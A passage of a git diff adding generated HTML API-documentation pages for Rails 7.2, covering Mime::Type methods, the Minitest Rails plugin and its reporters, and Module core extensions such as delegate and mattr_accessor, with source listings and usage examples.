+      (symbol == :html) || @string.include?("html")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + match?(mime_type) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 317
+    def match?(mime_type)
+      return false unless mime_type
+      regexp = Regexp.new(Regexp.quote(mime_type.to_s))
+      @synonyms.any? { |synonym| synonym.to_s.match?(regexp) } || @string.match?(regexp)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ref() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 285
+    def ref
+      symbol || to_s
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 273
+    def to_s
+      @string
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_str() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 277
+    def to_str
+      to_s
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_sym() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 281
+    def to_sym
+      @symbol
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Mime/Type/InvalidMimeType.html b/src/7.2/classes/Mime/Type/InvalidMimeType.html new file mode 100644 index 0000000000..4f13102395 --- /dev/null +++ b/src/7.2/classes/Mime/Type/InvalidMimeType.html @@ -0,0 +1,60 @@ +--- +title: Mime::Type::InvalidMimeType +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Minitest.html b/src/7.2/classes/Minitest.html new file mode 100644 index 0000000000..3ac881c10a --- /dev/null +++ b/src/7.2/classes/Minitest.html @@ -0,0 +1,217 @@ +--- +title: Minitest +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + plugin_rails_init(options) + +

+ + +
+

Owes great inspiration to test runner trailblazers like RSpec, minitest-reporters, maxitest, and others.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/minitest/rails_plugin.rb, line 111
+  def self.plugin_rails_init(options)
+    # Don't mess with Minitest unless RAILS_ENV is set
+    return unless ENV["RAILS_ENV"]
+
+    unless options[:full_backtrace]
+      # Plugin can run without Rails loaded, check before filtering.
+      if ::Rails.respond_to?(:backtrace_cleaner)
+        Minitest.backtrace_filter = BacktraceFilterWithFallback.new(::Rails.backtrace_cleaner, Minitest.backtrace_filter)
+      end
+    end
+
+    # Suppress summary reports when outputting inline rerun snippets.
+    if reporter.reporters.reject! { |reporter| reporter.kind_of?(SummaryReporter) }
+      reporter << SuppressedSummaryReporter.new(options[:io], options)
+    end
+
+    # Replace progress reporter for colors.
+    if reporter.reporters.reject! { |reporter| reporter.kind_of?(ProgressReporter) }
+      reporter << ::Rails::TestUnitReporter.new(options[:io], options)
+    end
+
+    # Add slowest tests reporter at the end.
+    if options[:profile]
+      reporter << ProfileReporter.new(options[:io], options)
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + plugin_rails_options(opts, options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/minitest/rails_plugin.rb, line 68
+  def self.plugin_rails_options(opts, options)
+    ::Rails::TestUnit::Runner.attach_before_load_options(opts)
+
+    opts.on("-b", "--backtrace", "Show the complete backtrace") do
+      options[:full_backtrace] = true
+    end
+
+    opts.on("-d", "--defer-output", "Output test failures and errors after the test run") do
+      options[:output_inline] = false
+    end
+
+    opts.on("-f", "--fail-fast", "Abort test run on first failure or error") do
+      options[:fail_fast] = true
+    end
+
+    opts.on("-c", "--[no-]color", "Enable color in the output") do |value|
+      options[:color] = value
+    end
+
+    opts.on("--profile [COUNT]", "Enable profiling of tests and list the slowest test cases (default: 10)") do |value|
+      default_count = 10
+
+      if value.nil?
+        count = default_count
+      else
+        count = Integer(value, exception: false)
+        if count.nil?
+          warn("Non integer specified as profile count, separate " \
+               "your path from options with -- e.g. " \
+               "`#{::Rails::TestUnitReporter.executable} --profile -- #{value}`")
+          count = default_count
+        end
+      end
+
+      options[:profile] = count
+    end
+
+    options[:color] = true
+    options[:output_inline] = true
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/Minitest/BacktraceFilterWithFallback.html b/src/7.2/classes/Minitest/BacktraceFilterWithFallback.html new file mode 100644 index 0000000000..78f5bc0466 --- /dev/null +++ b/src/7.2/classes/Minitest/BacktraceFilterWithFallback.html @@ -0,0 +1,152 @@ +--- +title: Minitest::BacktraceFilterWithFallback +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(preferred, fallback) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/minitest/rails_plugin.rb, line 9
+    def initialize(preferred, fallback)
+      @preferred = preferred
+      @fallback = fallback
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + filter(backtrace) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/minitest/rails_plugin.rb, line 14
+    def filter(backtrace)
+      filtered = @preferred.filter(backtrace)
+      filtered = @fallback.filter(backtrace) if filtered.empty?
+      filtered
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Minitest/ProfileReporter.html b/src/7.2/classes/Minitest/ProfileReporter.html new file mode 100644 index 0000000000..f8f857eab9 --- /dev/null +++ b/src/7.2/classes/Minitest/ProfileReporter.html @@ -0,0 +1,202 @@ +--- +title: Minitest::ProfileReporter +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(io = $stdout, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/minitest/rails_plugin.rb, line 29
+    def initialize(io = $stdout, options = {})
+      super
+      @results = []
+      @count = options[:profile]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + record(result) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/minitest/rails_plugin.rb, line 35
+    def record(result)
+      @results << result
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + report() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/minitest/rails_plugin.rb, line 39
+    def report
+      total_time = @results.sum(&:time)
+
+      @results.sort! { |a, b| b.time <=> a.time }
+      slow_results = @results.take(@count)
+      slow_tests_total_time = slow_results.sum(&:time)
+
+      ratio = (total_time == 0) ? 0.0 : (slow_tests_total_time / total_time) * 100
+
+      io.puts("\nTop %d slowest tests (%.2f seconds, %.1f%% of total time):\n" % [slow_results.size, slow_tests_total_time, ratio])
+      slow_results.each do |result|
+        io.puts("  %s\n    %.4f seconds %s\n" % [result.location, result.time, source_location(result)])
+      end
+      io.puts("\n")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Minitest/SuppressedSummaryReporter.html b/src/7.2/classes/Minitest/SuppressedSummaryReporter.html new file mode 100644 index 0000000000..76a944e35f --- /dev/null +++ b/src/7.2/classes/Minitest/SuppressedSummaryReporter.html @@ -0,0 +1,107 @@ +--- +title: Minitest::SuppressedSummaryReporter +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + aggregated_results(*) + +

+ + +
+

Disable extra failure output after a run if output is inline.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/minitest/rails_plugin.rb, line 23
+    def aggregated_results(*)
+      super unless options[:output_inline]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Module.html b/src/7.2/classes/Module.html new file mode 100644 index 0000000000..f6ce52908f --- /dev/null +++ b/src/7.2/classes/Module.html @@ -0,0 +1,1750 @@ +--- +title: Module +layout: default +--- +
+ +
+
+ +
+ +

Attribute Accessors

+ +

Extends the module object with class/module and instance accessors for class/module attributes, just like the native attr* accessors for instance attributes.

+ +

Attribute Accessors per Thread

+ +

Extends the module object with class/module and instance accessors for class/module attributes, just like the native attr* accessors for instance attributes, but does so on a per-thread basis.

+ +

So the values are scoped within the Thread.current space under the class name of the module.

+ +

Note that it can also be scoped per-fiber if Rails.application.config.active_support.isolation_level is set to :fiber.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + attr_internal_naming_format
+ + + + +

Class Public methods

+ +
+

+ + attr_internal_naming_format=(format) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/attr_internal.rb, line 25
+    def attr_internal_naming_format=(format)
+      if format.start_with?("@")
+        ActiveSupport.deprecator.warn <<~MESSAGE
+          Setting `attr_internal_naming_format` with a `@` prefix is deprecated and will be removed in Rails 8.0.
+
+          You can simply replace #{format.inspect} by #{format.delete_prefix("@").inspect}.
+        MESSAGE
+
+        format = format.delete_prefix("@")
+      end
+      @attr_internal_naming_format = format
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + alias_attribute(new_name, old_name) + +

+ + +
+

Allows you to make aliases for attributes, which includes getter, setter, and a predicate.

+ +
class Content < ActiveRecord::Base
+  # has a title attribute
+end
+
+class Email < Content
+  alias_attribute :subject, :title
+end
+
+e = Email.find(1)
+e.title    # => "Superstars"
+e.subject  # => "Superstars"
+e.subject? # => true
+e.subject = "Megastars"
+e.title    # => "Megastars"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/aliasing.rb, line 21
+  def alias_attribute(new_name, old_name)
+    # The following reader methods use an explicit `self` receiver in order to
+    # support aliases that start with an uppercase letter. Otherwise, they would
+    # be resolved as constants instead.
+    module_eval <<-STR, __FILE__, __LINE__ + 1
+      def #{new_name}; self.#{old_name}; end          # def subject; self.title; end
+      def #{new_name}?; self.#{old_name}?; end        # def subject?; self.title?; end
+      def #{new_name}=(v); self.#{old_name} = v; end  # def subject=(v); self.title = v; end
+    STR
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + anonymous?() + +

+ + +
+

A module may or may not have a name.

+ +
module M; end
+M.name # => "M"
+
+m = Module.new
+m.name # => nil
+
+ +

anonymous? method returns true if module does not have a name, false otherwise:

+ +
Module.new.anonymous? # => true
+
+module M; end
+M.anonymous?          # => false
+
+ +

A module gets a name when it is first assigned to a constant. Either via the module or class keyword or by an explicit assignment:

+ +
m = Module.new # creates an anonymous module
+m.anonymous?   # => true
+M = m          # m gets a name here as a side-effect
+m.name         # => "M"
+m.anonymous?   # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/anonymous.rb, line 27
+  def anonymous?
+    name.nil?
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attr_internal(*attrs) + +

+ + +
+ +
+ + + + + +
+ Alias for: attr_internal_accessor +
+ + + + +
+ +
+

+ + attr_internal_accessor(*attrs) + +

+ + +
+

Declares an attribute reader and writer backed by an internally-named instance variable.

+
+ + + +
+ Also aliased as: attr_internal +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/attr_internal.rb, line 16
+  def attr_internal_accessor(*attrs)
+    attr_internal_reader(*attrs)
+    attr_internal_writer(*attrs)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attr_internal_reader(*attrs) + +

+ + +
+

Declares an attribute reader backed by an internally-named instance variable.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/attr_internal.rb, line 5
+  def attr_internal_reader(*attrs)
+    attrs.each { |attr_name| attr_internal_define(attr_name, :reader) }
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attr_internal_writer(*attrs) + +

+ + +
+

Declares an attribute writer backed by an internally-named instance variable.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/attr_internal.rb, line 10
+  def attr_internal_writer(*attrs)
+    attrs.each { |attr_name| attr_internal_define(attr_name, :writer) }
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cattr_accessor(*syms, instance_reader: true, instance_writer: true, instance_accessor: true, default: nil, &blk) + +

+ + +
+ +
+ + + + + +
+ Alias for: mattr_accessor +
+ + + + +
+ +
+

+ + cattr_reader(*syms, instance_reader: true, instance_accessor: true, default: nil, location: nil) + +

+ + +
+ +
+ + + + + +
+ Alias for: mattr_reader +
+ + + + +
+ +
+

+ + cattr_writer(*syms, instance_writer: true, instance_accessor: true, default: nil, location: nil) + +

+ + +
+ +
+ + + + + +
+ Alias for: mattr_writer +
+ + + + +
+ +
+

+ + deep_dup() + +

+ + +
+

Returns a copy of module or class if it’s anonymous. If it’s named, returns self.

+ +
Object.deep_dup == Object # => true
+klass = Class.new
+klass.deep_dup == klass # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/deep_dup.rb, line 64
+  def deep_dup
+    if name.nil?
+      super
+    else
+      self
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delegate(*methods, to: nil, prefix: nil, allow_nil: nil, private: nil) + +

+ + +
+

Provides a delegate class method to easily expose contained objects’ public methods as your own.

+ +

Options

+
  • +

    :to - Specifies the target object name as a symbol or string

    +
  • +

    :prefix - Prefixes the new method with the target name or a custom prefix

    +
  • +

    :allow_nil - If set to true, prevents a ActiveSupport::DelegationError from being raised

    +
  • +

    :private - If set to true, changes method visibility to private

    +
+ +

The macro receives one or more method names (specified as symbols or strings) and the name of the target object via the :to option (also a symbol or string).

+ +

Delegation is particularly useful with Active Record associations:

+ +
class Greeter < ActiveRecord::Base
+  def hello
+    'hello'
+  end
+
+  def goodbye
+    'goodbye'
+  end
+end
+
+class Foo < ActiveRecord::Base
+  belongs_to :greeter
+  delegate :hello, to: :greeter
+end
+
+Foo.new.hello   # => "hello"
+Foo.new.goodbye # => NoMethodError: undefined method `goodbye' for #<Foo:0x1af30c>
+
+ +

Multiple delegates to the same target are allowed:

+ +
class Foo < ActiveRecord::Base
+  belongs_to :greeter
+  delegate :hello, :goodbye, to: :greeter
+end
+
+Foo.new.goodbye # => "goodbye"
+
+ +

Methods can be delegated to instance variables, class variables, or constants by providing them as a symbols:

+ +
class Foo
+  CONSTANT_ARRAY = [0,1,2,3]
+  @@class_array  = [4,5,6,7]
+
+  def initialize
+    @instance_array = [8,9,10,11]
+  end
+  delegate :sum, to: :CONSTANT_ARRAY
+  delegate :min, to: :@@class_array
+  delegate :max, to: :@instance_array
+end
+
+Foo.new.sum # => 6
+Foo.new.min # => 4
+Foo.new.max # => 11
+
+ +

It’s also possible to delegate a method to the class by using :class:

+ +
class Foo
+  def self.hello
+    "world"
+  end
+
+  delegate :hello, to: :class
+end
+
+Foo.new.hello # => "world"
+
+ +

Delegates can optionally be prefixed using the :prefix option. If the value is true, the delegate methods are prefixed with the name of the object being delegated to.

+ +
Person = Struct.new(:name, :address)
+
+class Invoice < Struct.new(:client)
+  delegate :name, :address, to: :client, prefix: true
+end
+
+john_doe = Person.new('John Doe', 'Vimmersvej 13')
+invoice = Invoice.new(john_doe)
+invoice.client_name    # => "John Doe"
+invoice.client_address # => "Vimmersvej 13"
+
+ +

It is also possible to supply a custom prefix.

+ +
class Invoice < Struct.new(:client)
+  delegate :name, :address, to: :client, prefix: :customer
+end
+
+invoice = Invoice.new(john_doe)
+invoice.customer_name    # => 'John Doe'
+invoice.customer_address # => 'Vimmersvej 13'
+
+ +

The delegated methods are public by default. Pass private: true to change that.

+ +
class User < ActiveRecord::Base
+  has_one :profile
+  delegate :first_name, to: :profile
+  delegate :date_of_birth, to: :profile, private: true
+
+  def age
+    Date.today.year - date_of_birth.year
+  end
+end
+
+User.new.first_name # => "Tomas"
+User.new.date_of_birth # => NoMethodError: private method `date_of_birth' called for #<User:0x00000008221340>
+User.new.age # => 2
+
+ +

If the target is nil and does not respond to the delegated method a ActiveSupport::DelegationError is raised. If you wish to instead return nil, use the :allow_nil option.

+ +
class User < ActiveRecord::Base
+  has_one :profile
+  delegate :age, to: :profile
+end
+
+User.new.age
+# => ActiveSupport::DelegationError: User#age delegated to profile.age, but profile is nil
+
+ +

But if not having a profile yet is fine and should not be an error condition:

+ +
class User < ActiveRecord::Base
+  has_one :profile
+  delegate :age, to: :profile, allow_nil: true
+end
+
+User.new.age # nil
+
+ +

Note that if the target is not nil then the call is attempted regardless of the :allow_nil option, and thus an exception is still raised if said object does not respond to the method:

+ +
class Foo
+  def initialize(bar)
+    @bar = bar
+  end
+
+  delegate :name, to: :@bar, allow_nil: true
+end
+
+Foo.new("Bar").name # raises NoMethodError: undefined method `name'
+
+ +

The target method must be public, otherwise it will raise NoMethodError.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/delegation.rb, line 160
+  def delegate(*methods, to: nil, prefix: nil, allow_nil: nil, private: nil)
+    ::ActiveSupport::Delegation.generate(
+      self,
+      methods,
+      location: caller_locations(1, 1).first,
+      to: to,
+      prefix: prefix,
+      allow_nil: allow_nil,
+      private: private,
+    )
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delegate_missing_to(target, allow_nil: nil) + +

+ + +
+

When building decorators, a common pattern may emerge:

+ +
class Partition
+  def initialize(event)
+    @event = event
+  end
+
+  def person
+    detail.person || creator
+  end
+
+  private
+    def respond_to_missing?(name, include_private = false)
+      @event.respond_to?(name, include_private)
+    end
+
+    def method_missing(method, *args, &block)
+      @event.send(method, *args, &block)
+    end
+end
+
+ +

With Module#delegate_missing_to, the above is condensed to:

+ +
class Partition
+  delegate_missing_to :@event
+
+  def initialize(event)
+    @event = event
+  end
+
+  def person
+    detail.person || creator
+  end
+end
+
+ +

The target can be anything callable within the object, e.g. instance variables, methods, constants, etc.

+ +

The delegated method must be public on the target, otherwise it will raise ActiveSupport::DelegationError. If you wish to instead return nil, use the :allow_nil option.

+ +

The marshal_dump and _dump methods are exempt from delegation due to possible interference when calling Marshal.dump(object), should the delegation target method of object add or remove instance variables.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/delegation.rb, line 218
+  def delegate_missing_to(target, allow_nil: nil)
+    ::ActiveSupport::Delegation.generate_method_missing(
+      self,
+      target,
+      allow_nil: allow_nil,
+    )
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deprecate(*method_names, deprecator:, **options) + +

+ + +
+
deprecate :foo, deprecator: MyLib.deprecator
+deprecate :foo, bar: "warning!", deprecator: MyLib.deprecator
+
+ +

A deprecator is typically an instance of ActiveSupport::Deprecation, but you can also pass any object that responds to deprecation_warning(deprecated_method_name, message, caller_backtrace) where you can implement your custom warning behavior.

+ +
class MyLib::Deprecator
+  def deprecation_warning(deprecated_method_name, message, caller_backtrace = nil)
+    message = "#{deprecated_method_name} is deprecated and will be removed from MyLibrary | #{message}"
+    Kernel.warn message
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/deprecation.rb, line 17
+  def deprecate(*method_names, deprecator:, **options)
+    if deprecator.is_a?(ActiveSupport::Deprecation)
+      deprecator.deprecate_methods(self, *method_names, **options)
+    elsif deprecator
+      # we just need any instance to call deprecate_methods, but the deprecation will be emitted by deprecator
+      ActiveSupport.deprecator.deprecate_methods(self, *method_names, **options, deprecator: deprecator)
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mattr_accessor(*syms, instance_reader: true, instance_writer: true, instance_accessor: true, default: nil, &blk) + +

+ + +
+

Defines both class and instance accessors for class attributes. All class and instance methods created will be public, even if this method is called with a private or protected access modifier.

+ +
module HairColors
+  mattr_accessor :hair_colors
+end
+
+class Person
+  include HairColors
+end
+
+HairColors.hair_colors = [:brown, :black, :blonde, :red]
+HairColors.hair_colors # => [:brown, :black, :blonde, :red]
+Person.new.hair_colors # => [:brown, :black, :blonde, :red]
+
+ +

If a subclass changes the value then that would also change the value for parent class. Similarly if parent class changes the value then that would change the value of subclasses too.

+ +
class Citizen < Person
+end
+
+Citizen.new.hair_colors << :blue
+Person.new.hair_colors # => [:brown, :black, :blonde, :red, :blue]
+
+ +

To omit the instance writer method, pass instance_writer: false. To omit the instance reader method, pass instance_reader: false.

+ +
module HairColors
+  mattr_accessor :hair_colors, instance_writer: false, instance_reader: false
+end
+
+class Person
+  include HairColors
+end
+
+Person.new.hair_colors = [:brown]  # => NoMethodError
+Person.new.hair_colors             # => NoMethodError
+
+ +

Or pass instance_accessor: false, to omit both instance methods.

+ +
module HairColors
+  mattr_accessor :hair_colors, instance_accessor: false
+end
+
+class Person
+  include HairColors
+end
+
+Person.new.hair_colors = [:brown]  # => NoMethodError
+Person.new.hair_colors             # => NoMethodError
+
+ +

You can set a default value for the attribute.

+ +
module HairColors
+  mattr_accessor :hair_colors, default: [:brown, :black, :blonde, :red]
+  mattr_accessor(:hair_styles) { [:long, :short] }
+end
+
+class Person
+  include HairColors
+end
+
+Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
+Person.class_variable_get("@@hair_styles") # => [:long, :short]
+
+
+ + + +
+ Also aliased as: cattr_accessor +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/attribute_accessors.rb, line 208
+  def mattr_accessor(*syms, instance_reader: true, instance_writer: true, instance_accessor: true, default: nil, &blk)
+    location = caller_locations(1, 1).first
+    mattr_reader(*syms, instance_reader: instance_reader, instance_accessor: instance_accessor, default: default, location: location, &blk)
+    mattr_writer(*syms, instance_writer: instance_writer, instance_accessor: instance_accessor, default: default, location: location)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mattr_reader(*syms, instance_reader: true, instance_accessor: true, default: nil, location: nil) + +

+ + +
+

Defines a class attribute and creates a class and instance reader methods. The underlying class variable is set to nil, if it is not previously defined. All class and instance methods created will be public, even if this method is called with a private or protected access modifier.

+ +
module HairColors
+  mattr_reader :hair_colors
+end
+
+HairColors.hair_colors # => nil
+HairColors.class_variable_set("@@hair_colors", [:brown, :black])
+HairColors.hair_colors # => [:brown, :black]
+
+ +

The attribute name must be a valid method name in Ruby.

+ +
module Foo
+  mattr_reader :"1_Badname"
+end
+# => NameError: invalid attribute name: 1_Badname
+
+ +

To omit the instance reader method, pass instance_reader: false or instance_accessor: false.

+ +
module HairColors
+  mattr_reader :hair_colors, instance_reader: false
+end
+
+class Person
+  include HairColors
+end
+
+Person.new.hair_colors # => NoMethodError
+
+ +

You can set a default value for the attribute.

+ +
module HairColors
+  mattr_reader :hair_colors, default: [:brown, :black, :blonde, :red]
+  mattr_reader(:hair_styles) { [:long, :short] }
+end
+
+class Person
+  include HairColors
+end
+
+Person.new.hair_colors # => [:brown, :black, :blonde, :red]
+Person.new.hair_styles # => [:long, :short]
+
+
+ + + +
+ Also aliased as: cattr_reader +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/attribute_accessors.rb, line 55
+  def mattr_reader(*syms, instance_reader: true, instance_accessor: true, default: nil, location: nil)
+    raise TypeError, "module attributes should be defined directly on class, not singleton" if singleton_class?
+    location ||= caller_locations(1, 1).first
+
+    definition = []
+    syms.each do |sym|
+      raise NameError.new("invalid attribute name: #{sym}") unless /\A[_A-Za-z]\w*\z/.match?(sym)
+
+      definition << "def self.#{sym}; @@#{sym}; end"
+
+      if instance_reader && instance_accessor
+        definition << "def #{sym}; @@#{sym}; end"
+      end
+
+      sym_default_value = (block_given? && default.nil?) ? yield : default
+      class_variable_set("@@#{sym}", sym_default_value) unless sym_default_value.nil? && class_variable_defined?("@@#{sym}")
+    end
+
+    module_eval(definition.join(";"), location.path, location.lineno)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mattr_writer(*syms, instance_writer: true, instance_accessor: true, default: nil, location: nil) + +

+ + +
+

Defines a class attribute and creates a class and instance writer methods to allow assignment to the attribute. All class and instance methods created will be public, even if this method is called with a private or protected access modifier.

+ +
module HairColors
+  mattr_writer :hair_colors
+end
+
+class Person
+  include HairColors
+end
+
+HairColors.hair_colors = [:brown, :black]
+Person.class_variable_get("@@hair_colors") # => [:brown, :black]
+Person.new.hair_colors = [:blonde, :red]
+HairColors.class_variable_get("@@hair_colors") # => [:blonde, :red]
+
+ +

To omit the instance writer method, pass instance_writer: false or instance_accessor: false.

+ +
module HairColors
+  mattr_writer :hair_colors, instance_writer: false
+end
+
+class Person
+  include HairColors
+end
+
+Person.new.hair_colors = [:blonde, :red] # => NoMethodError
+
+ +

You can set a default value for the attribute.

+ +
module HairColors
+  mattr_writer :hair_colors, default: [:brown, :black, :blonde, :red]
+  mattr_writer(:hair_styles) { [:long, :short] }
+end
+
+class Person
+  include HairColors
+end
+
+Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
+Person.class_variable_get("@@hair_styles") # => [:long, :short]
+
+
+ + + +
+ Also aliased as: cattr_writer +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/attribute_accessors.rb, line 121
+  def mattr_writer(*syms, instance_writer: true, instance_accessor: true, default: nil, location: nil)
+    raise TypeError, "module attributes should be defined directly on class, not singleton" if singleton_class?
+    location ||= caller_locations(1, 1).first
+
+    definition = []
+    syms.each do |sym|
+      raise NameError.new("invalid attribute name: #{sym}") unless /\A[_A-Za-z]\w*\z/.match?(sym)
+      definition << "def self.#{sym}=(val); @@#{sym} = val; end"
+
+      if instance_writer && instance_accessor
+        definition << "def #{sym}=(val); @@#{sym} = val; end"
+      end
+
+      sym_default_value = (block_given? && default.nil?) ? yield : default
+      class_variable_set("@@#{sym}", sym_default_value) unless sym_default_value.nil? && class_variable_defined?("@@#{sym}")
+    end
+
+    module_eval(definition.join(";"), location.path, location.lineno)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + module_parent() + +

+ + +
+

Returns the module which contains this one according to its name.

+ +
module M
+  module N
+  end
+end
+X = M::N
+
+M::N.module_parent # => M
+X.module_parent    # => M
+
+ +

The parent of top-level and anonymous modules is Object.

+ +
M.module_parent          # => Object
+Module.new.module_parent # => Object
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/introspection.rb, line 34
+  def module_parent
+    module_parent_name ? ActiveSupport::Inflector.constantize(module_parent_name) : Object
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + module_parent_name() + +

+ + +
+

Returns the name of the module containing this one.

+ +
M::N.module_parent_name # => "M"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/introspection.rb, line 9
+  def module_parent_name
+    if defined?(@parent_name)
+      @parent_name
+    else
+      parent_name = name =~ /::[^:]+\z/ ? -$` : nil
+      @parent_name = parent_name unless frozen?
+      parent_name
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + module_parents() + +

+ + +
+

Returns all the parents of this module according to its name, ordered from nested outwards. The receiver is not contained within the result.

+ +
module M
+  module N
+  end
+end
+X = M::N
+
+M.module_parents    # => [Object]
+M::N.module_parents # => [M, Object]
+X.module_parents    # => [M, Object]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/introspection.rb, line 50
+  def module_parents
+    parents = []
+    if module_parent_name
+      parts = module_parent_name.split("::")
+      until parts.empty?
+        parents << ActiveSupport::Inflector.constantize(parts * "::")
+        parts.pop
+      end
+    end
+    parents << Object unless parents.include? Object
+    parents
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + redefine_method(method, &block) + +

+ + +
+

Replaces the existing method definition, if there is one, with the passed block as its body.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/redefine_method.rb, line 17
+  def redefine_method(method, &block)
+    visibility = method_visibility(method)
+    silence_redefinition_of_method(method)
+    define_method(method, &block)
+    send(visibility, method)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + redefine_singleton_method(method, &block) + +

+ + +
+

Replaces the existing singleton method definition, if there is one, with the passed block as its body.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/redefine_method.rb, line 26
+  def redefine_singleton_method(method, &block)
+    singleton_class.redefine_method(method, &block)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_possible_method(method) + +

+ + +
+

Removes the named method, if it exists.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
